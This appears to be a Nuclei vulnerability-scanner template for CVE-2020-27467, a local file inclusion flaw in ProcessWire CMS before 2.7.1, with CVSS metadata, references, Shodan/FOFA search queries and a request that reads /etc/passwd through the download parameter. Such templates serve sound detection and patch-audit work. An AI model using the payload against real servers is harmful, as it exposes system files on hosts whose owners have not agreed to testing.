Processwire CMS <2.7.1 - Local File Inclusion

id: CVE-2020-27467

info:
  name: Processwire CMS <2.7.1 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Processwire CMS prior to 2.7.1 is vulnerable to local file inclusion because it allows a remote attacker to retrieve sensitive files via the download parameter to index.php.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or gain unauthorized access to the system.
  remediation: |
    Upgrade Processwire CMS to version 2.7.1 or later to fix the Local File Inclusion vulnerability.
  reference:
    - https://github.com/Y1LD1R1M-1337/LFI-ProcessWire
    - https://processwire.com/
    - https://github.com/ceng-yildirim/LFI-processwire
    - https://nvd.nist.gov/vuln/detail/CVE-2020-27467
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-27467
    cwe-id: CWE-22
    epss-score: 0.15737
    epss-percentile: 0.96465
    cpe: cpe:2.3:a:processwire:processwire:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: processwire
    product: processwire
    shodan-query: http.html:"processwire"
    fofa-query: body="processwire"
  tags: cve,cve2020,processwire,lfi,cms,oss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?download=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f9cfbb710174c132f2a5c6107b8b3e235781f8837bc8fb14983c0d9e62d404d1022100a69bfe904f0c0b93ab13f888318a749bf51e26806aa9c32a84d3a3926b2fcafd:922c64590222798bb761d5b6d8e72950